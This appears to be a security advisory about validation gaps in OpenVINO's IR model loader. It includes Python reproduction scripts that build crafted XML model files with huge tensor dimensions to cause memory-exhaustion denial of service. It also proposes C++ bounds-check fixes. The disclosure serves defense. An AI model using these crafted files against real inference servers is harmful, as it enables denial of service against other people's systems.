YAML Metadata Warning:empty or missing yaml metadata in repo card
Check out the documentation for more information.
- OpenVINO (IR Format): Model Validation Gaps
OpenVINO (IR Format): Model Validation Gaps
Summary
OpenVINO 2026.1.0's read_model() parses IR (.xml/.bin) files and converts them to an internal representation with insufficient structural validation. Extreme dimension values (1x10^12) are accepted without bounds checking, and models with 300M+ elements compile successfully on CPU, allowing memory exhaustion DoS attacks. Empty models (0 layers) and zero-dimension tensors pass loading without error. Unlike ONNX (check_model) and TensorFlow (contains_saved_model), OpenVINO has no model validation function in its Python API.
- Dimension Bounds Bypass: Dimensions of 10^12 accepted, 4TB tensors would be allocated if memory were available.
- Memory Exhaustion via Compilation: 300M-element model compiles and allocates ~1.2GB without memory limit checks.
- No check_model Equivalent: OpenVINO has no validate-before-load API.
read_model()both parses and converts in one step.
The C++ layer does implement some validation: offset+size bounds checking, negative dimension (less than -1) rejection, negative size rejection, and cycle detection. However, no dimension upper bounds or memory limits are enforced.
CVSS 3.1: 5.5 (AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H)
Tested Context
- Package:
openvino - Version: 2026.1.0
- Python: 3.10
- Date: 2026-05-08
Vulnerability 1 (MEDIUM): Dimension Bounds Bypass
Location: openvino_ir_frontend.dll (C++ XML parser, source at src/frontends/ir/)
The IR XML parser reads dimension values from <dim> elements in the <port> definitions and passes them directly to tensor shape construction. No upper bound is enforced during read_model() or compile_model().
Reproduction
import openvino as ov
import tempfile, os
tmpdir = tempfile.mkdtemp()
# Create IR file with extreme dimensions (1 trillion elements = ~4TB)
xml = """<?xml version="1.0"?>
<net name="extreme_model" version="11">
<layers>
<layer id="0" name="input" type="Parameter" version="opset1">
<data shape="1,1000000000000" element_type="f32" />
<output>
<port id="0" precision="FP32" names="input">
<dim>1</dim>
<dim>1000000000000</dim>
</port>
</output>
</layer>
<layer id="1" name="result" type="Result" version="opset1">
<input>
<port id="0" precision="FP32">
<dim>1</dim>
<dim>1000000000000</dim>
</port>
</input>
</layer>
</layers>
<edges>
<edge from-layer="0" from-port="0" to-layer="1" to-port="0" />
</edges>
<rt_info />
</net>"""
xml_path = os.path.join(tmpdir, "extreme.xml")
with open(xml_path, "w") as f:
f.write(xml)
# Create empty bin file
with open(os.path.join(tmpdir, "extreme.bin"), "wb") as f:
f.write(b"")
core = ov.Core()
model = core.read_model(xml_path) # No error!
print(model.get_parameters()[0].get_partial_shape()) # [1,1000000000000]
Impact
- A 1x10^12 float32 tensor would require ~4TB of memory
- Models can be crafted to target specific memory limits of production systems
- No upper bound means the memory requirement scales linearly with the dimension value in the XML
Vulnerability 2 (MEDIUM): Memory Exhaustion via Compilation
Location: core.compile_model() โ openvino.dll (device-specific compilation)
When compile_model() is called, the runtime allocates tensors based on model dimensions. A model with 300M elements (~1.2GB for float32) compiles without any memory limit or pre-allocation check.
Reproduction
import openvino as ov
import tempfile, os
tmpdir = tempfile.mkdtemp()
# Model with 300M float32 elements (~1.2GB)
xml = """<?xml version="1.0"?>
<net name="large_model" version="11">
<layers>
<layer id="0" name="input" type="Parameter" version="opset1">
<data shape="1,10000,10000,3" element_type="f32" />
<output>
<port id="0" precision="FP32" names="input">
<dim>1</dim>
<dim>10000</dim>
<dim>10000</dim>
<dim>3</dim>
</port>
</output>
</layer>
<layer id="1" name="result" type="Result" version="opset1">
<input>
<port id="0" precision="FP32">
<dim>1</dim>
<dim>10000</dim>
<dim>10000</dim>
<dim>3</dim>
</port>
</input>
</layer>
</layers>
<edges>
<edge from-layer="0" from-port="0" to-layer="1" to-port="0" />
</edges>
</net>"""
xml_path = os.path.join(tmpdir, "large.xml")
with open(xml_path, "w") as f:
f.write(xml)
with open(os.path.join(tmpdir, "large.bin"), "wb") as f:
f.write(b"")
core = ov.Core()
model = core.read_model(xml_path) # OK โ no memory check
compiled = core.compile_model(model, "CPU") # OK โ actually allocates ~1.2GB
Impact
- Attacker-supplied IR files can exhaust system memory during compilation
- Models targeting inference servers can cause DoS
- Scaling dimension values scales memory allocation linearly
Vulnerability 3 (LOW): Empty and Zero-Dimension Models Accepted
Location: openvino_ir_frontend.dll (XML parsing)
Models with 0 layers, 0 parameters, or zero-dimension tensors load without error. While not directly exploitable, this indicates a lack of structural integrity validation that could mask other issues.
Reproduction
import openvino as ov
# Empty model (0 layers)
xml_empty = """<?xml version="1.0"?>
<net name="empty" version="11">
<layers></layers>
<edges></edges>
</net>"""
core = ov.Core()
model = core.read_model(xml_path) # No error! 0 params, 0 results
# Zero-dimension tensor
xml_zero = """<?xml version="1.0"?>
<net name="zero" version="11">
<layers>
<layer id="0" name="input" type="Parameter" version="opset1">
<data shape="1,0" element_type="f32" />
...
</layers>
</net>"""
model2 = core.read_model(xml_path2) # No error! Shape: [1,0]
Comparison: Validation Across ML Frameworks
| Feature | ONNX | TF SavedModel | OpenVINO IR |
|---|---|---|---|
check_model() / contains_model() |
Yes | Yes | No |
| Dimension upper bound | Yes (partial) | Yes (2^63-1) | No |
| Weight file existence check | Yes (v1.21.0) | Partial | Partial (only Const layers) |
| Memory limit before compilation | N/A | N/A | No |
| Empty model rejection | Yes | Partial | No |
| Cycle detection | Yes | N/A | Yes |
| Offset+size validation | Yes (v1.21.0) | N/A | Yes |
| Path traversal protection | Yes (v1.21.0) | No | N/A (no external paths) |
Validation That DOES Work in OpenVINO
The C++ layer (via openvino_ir_frontend.dll and openvino.dll) provides these checks:
| Check | Source Location |
|---|---|
offset + size <= bin_file_size |
xml_deserialize_util.cpp:907 |
| Negative size rejected | frontends/common/src/frontend.cpp:54 |
| Dimension >= -1 enforced | xml_deserialize_util.cpp:1171 |
| Cycle detection in edges | xml_deserialize_util.cpp:1026 |
| Missing/empty bin file with Const layers | xml_deserialize_util.cpp:893 |
Fixes
1) Add dimension upper bound validation:
// In xml_deserialize_util.cpp, after parsing dim values
constexpr int64_t MAX_TENSOR_DIM = 1 << 24; // ~16M
constexpr int64_t MAX_TENSOR_ELEMENTS = 1LL << 38; // ~256G elements
for (auto dim : parsed_dims) {
if (dim > MAX_TENSOR_DIM) {
OPENVINO_THROW("Dimension ", dim, " exceeds maximum allowed (", MAX_TENSOR_DIM, ")");
}
}
// Check product doesn't overflow and is within bounds
int64_t product = 1;
for (auto dim : parsed_dims) {
if (dim > 0 && product > MAX_TENSOR_ELEMENTS / dim) {
OPENVINO_THROW("Tensor element count would exceed maximum");
}
product *= dim;
}
2) Add memory limit check before compilation:
// In compile_model path, estimate memory requirement
size_t estimated_memory = calculate_model_memory(model);
if (estimated_memory > max_allowed_memory) {
OPENVINO_THROW("Model memory requirement (", estimated_memory,
") exceeds limit (", max_allowed_memory, ")");
}
3) Add a validation API:
# Python API addition
core = ov.Core()
result = core.validate_model("model.xml") # New function
# Returns ValidationResult with warnings/errors
Notes
- OpenVINO's IR format parsing is primarily in native C++ DLLs (
openvino_ir_frontend.dll,openvino.dll). The Python layer is a thin wrapper. - The ONNX and PaddlePaddle frontends share the same
read_model()path and may have similar gaps. - Memory exhaustion via extreme dimensions is the most impactful finding โ it allows DoS without any code execution.
- Unlike TF SavedModel's asset path traversal, OpenVINO IR does not support external file references (weights are always in the adjacent .bin file), limiting path traversal risk.
- The XXE test confirmed that OpenVINO's XML parser does NOT expand external entities (parameter names with
&xxe;appeared literally). - C++ source for the IR frontend is in the openvino repository at
src/frontends/ir/.